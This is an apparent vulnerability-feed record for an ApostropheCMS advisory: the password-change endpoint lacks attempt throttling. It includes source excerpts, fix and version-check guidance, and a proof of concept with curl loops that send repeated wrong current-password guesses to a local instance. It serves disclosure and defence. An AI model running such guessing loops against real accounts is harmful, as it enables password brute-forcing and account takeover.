{"id":"CVE-2026-113710","kind":"vulnerability","aliases":["CVE-2026-113710","GHSA-653j-g8j7-gh54"],"related":[],"title":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","description":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n  try {\n    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n  } catch (e) {\n    throw self.apos.error(\n      'forbidden',\n      'apostrophe:passwordCurrentError',\n      { path: 'passwordCurrent' }\n    );\n  }\n  return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: <redacted-authenticated-session>\nContent-Type: application/json\n\n{\n  \"password\": \"new-temporary-password\",\n  \"passwordRepeat\": \"new-temporary-password\",\n  \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n  time curl -i -sS \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\n      \"password\": \"new-temporary-password\",\n      \"passwordRepeat\": \"new-temporary-password\",\n      \"passwordCurrent\": \"definitely-wrong-current-password\"\n    }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n  \"name\": \"forbidden\",\n  \"data\": {\n    \"path\": \"passwordCurrent\"\n  },\n  \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n  \"curl --max-time 15 -sS \\\n    -o /tmp/password-attempt-{}.body \\\n    -w '%{http_code}\\\\n' \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -> HTTP 403 Forbidden\n0 requests -> HTTP 429 Too Many Requests\n0 requests -> lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.","summary":"The ApostropheCMS password-change endpoint checks the current password but skips the login module's failed-attempt counter and lockout, so an attacker holding a valid logged-in session can guess the current password without throttling. A correct guess lets them replace the account password and then log in as that user.","severity":"medium","cvss":5.900000095367432,"epss":0.003120000008493662,"exploited":false,"exploited_at":null,"products":[{"name":"apostrophe","fixed":["4.33.0"],"affected":"< 4.33.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["apostrophe","cms","cwe-307","node","package","self-hosted"],"not_affected_if":["no-authenticated-users","static-export","version-4.33.0-or-later"],"how_to_check":"Check the installed apostrophe version with `npm ls apostrophe`; versions below 4.33.0 are affected.","fix":"Upgrade apostrophe to 4.33.0 or later.\nRotate user passwords for accounts that may have been exposed if you cannot upgrade immediately.","status":"open","published_at":"2026-10-20T18:17:21+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:57:59+00:00","updated_at":"2026-10-23T21:57:21+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T19:57:59Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade apostrophe to 4.33.0 or later.\nRotate user passwords for accounts that may have been exposed if you cannot upgrade immediately.","summary":"The ApostropheCMS password-change endpoint checks the current password but skips the login module's failed-attempt counter and lockout, so an attacker holding a valid logged-in session can guess the current password without throttling. A correct guess lets them replace the account password and then log in as that user.","category":"package","who_cares":["apostrophe","node","self-hosted","cms"],"confidence":0.85,"analyst_note":"","how_to_check":"Check the installed apostrophe version with `npm ls apostrophe`; versions below 4.33.0 are affected.\nUnknown whether the sources give a specific config file or setting to inspect.\nUnknown whether a request-rate limiter in front of the app would mitigate this.","needs_analyst":false,"not_affected_if":["version-4.33.0-or-later","no-authenticated-users","static-export"],"severity_if_unknown":"medium"},"cost_usd":0.000547,"input_tokens":3673,"output_tokens":360,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-113710':19A,27A '-2026':18A,26A '-307':32B '-487':222C '-542':182C '-664':151C '-8':345C '-929':237C '/api/v1':159C,251C,471C '/path/to/temporary-session-cookie-jar.txt':294C,418C '/tmp/password-attempt-':411C '0':452C,459C '1':283C,359C,396C '127.0.0.1':255C,297C,421C '15':408C '2':284C,363C '20':397C,400C,447C '200':475C '226':368C,376C '229':372C '231':360C '232':364C '3':285C,367C '3000':256C '3000/api/v1':298C,422C '4':286C,371C '403':337C,450C '412':221C '429':455C '5':287C,375C '514':181C '621':150C '653j':22A '831':236C 'abl':549C 'account':84B,542C 'addloginattempt':232C 'afterward':469C 'allow':529C 'anonym':568C 'apostroph':29B,198C,352C 'apostrophe':28A 'apostrophecm':1A,39B 'apostrophecms/login/index.js':235C 'apostrophecms/login/login':472C 'apostrophecms/settings/index.js':149C,180C 'apostrophecms/settings/password':160C,252C,299C,423C 'apostrophecms/user/index.js':220C 'appli':512C 'application/json':261C,304C,342C,428C 'approxim':357C 'async':183C 'attack':62B,124C,479C,531C,545C,558C 'attempt':3A,56B,116C,213C,329C,358C,362C,366C,370C,374C,379C 'authent':6A,128C,245C,468C,487C,562C 'await':169C,189C 'b':293C,417C 'bodi':412C 'c':403C 'cach':214C 'call':163C,229C 'catch':193C 'chang':9A,42B,100C,155C,499C,556C 'charset':343C 'check':44B,538C 'checkloginattempt':230C 'cms':30B 'code':415C 'command':279C 'content':259C,302C,340C,426C 'content-typ':258C,301C,339C,425C 'continu':466C 'contrast':224C 'cooki':257C 'correct':78B 'counter':57B,117C 'curl':290C,404C 'current':14A,46B,73B,104C,136C,276C,322C,445C,493C,521C,536C 'current-password':13A,535C 'cve':17A,25A 'cwe':31B 'data':306C,348C,430C 'data-raw':305C,429C 'definit':274C,320C 'definitely-wrong-current-password':273C,319C 'delay':119C,218C 'direct':167C 'dispos':244C 'done':324C 'e':194C 'enabl':11A 'endpoint':10A,43B,101C,500C 'enforc':216C 'equival':278C 'exact':145C 'explicit':228C 'fail':55B,115C 'failed-attempt':54B,114C 'five':328C 'forbidden':197C,338C,347C,451C 'g8j7':23A 'gh54':24A 'ghsa':21A 'ghsa-653j-g8j7-gh54':20A 'guess':16A,71B,79B,133C,491C,502C 'guest':246C 'h':300C,424C 'handlepasswordprotectedsubform':184C 'header':389C 'hijack':484C 'hold':63B 'host':37B,254C 'http':414C,449C,454C 'http/1.1':253C,336C,473C,474C 'immedi':333C 'impact':477C 'increment':209C 'let':80B 'limit':393C 'local':238C 'lockout':59B,121C,141C,384C,461C,517C 'log':67B,88B,551C 'logged-in':66B 'login':51B,111C,212C,226C,514C 'login-attempt':211C 'mani':457C 'max':406C 'max-tim':405C 'mechan':122C,518C 'medium':570C 'messag':351C,385C 'modul':52B,112C 'ms':361C,365C,369C,373C,377C 'n':416C 'name':346C 'new':264C,269C,310C,315C,434C,439C 'new-temporary-password':263C,268C,309C,314C,433C,438C 'node':33B 'normal':505C 'o':410C 'observ':325C,354C 'obtain':482C 'ok':476C 'p':399C 'packag':34B 'packages/apostrophe/modules':148C,179C,219C,234C 'pass':533C 'password':8A,15A,41B,47B,74B,85B,99C,105C,137C,154C,165C,175C,262C,266C,271C,277C,308C,312C,317C,323C,432C,436C,441C,465C,494C,498C,522C,537C,543C,555C 'password-chang':7A,40B,98C,153C,497C 'passwordcurr':201C,272C,318C,350C,442C 'passwordcurrenterror':199C,353C 'passwordrepeat':267C,313C,437C 'patch':158C,250C,296C,420C 'path':147C,177C,200C,349C 'payload':187C 'payload.passwordcurrent':192C 'poc':239C 'post':470C 'rate':392C 'rate-limit':391C 'raw':307C,431C 'receiv':139C,503C 'repeat':132C,490C 'replac':82B,540C 'req':171C,185C 'req.body':173C 'req.user':191C 'request':249C,448C,453C,458C,460C 'requir':559C 'respons':144C,326C,335C,383C,462C,506C 'result':446C 'retri':387C 'retry-aft':386C 'return':202C,330C,380C 'reus':526C 'rout':156C,162C,227C,509C 'self':36B,96C 'self-host':35B 'self-servic':95C 'self.apos.error':196C 'self.apos.user.verifypassword':190C 'self.handleprotectedsubform':170C 'seq':395C 'servic':97C 'session':69B,129C,247C,488C,563C 'sever':569C 'sh':402C 'skip':49B 'sourc':146C 'ss':292C,409C 'status':394C 'subform':172C,186C,203C 'subject':571C 'submit':131C 'summari':93C 'temporari':265C,270C,311C,316C,435C,440C 'test':241C 'throttl':4A,76B,118C,143C,382C,515C 'throw':195C 'time':289C,355C,407C 'tri':188C 'type':260C,303C,341C,427C 'unlimit':12A 'use':109C,242C 'user':92B 'utf':344C 'valid':65B,127C,334C,464C,486C,561C 'verif':176C 'verifi':102C,166C,205C 'w':413C 'weak':524C 'without':75B,138C 'work':567C 'would':546C 'wrong':275C,321C,444C 'wrong-curr':443C 'x':295C,419C 'xarg':398C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T18:17:21+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-653j-g8j7-gh54","url":"https://github.com/advisories/GHSA-653j-g8j7-gh54","severity":"medium","published_at":"2026-10-20T18:17:50+00:00","modified_at":"2026-10-20T18:17:55+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-113710","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113710","severity":null,"published_at":"2026-10-20T18:17:21+00:00","modified_at":"2026-10-21T16:17:25+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}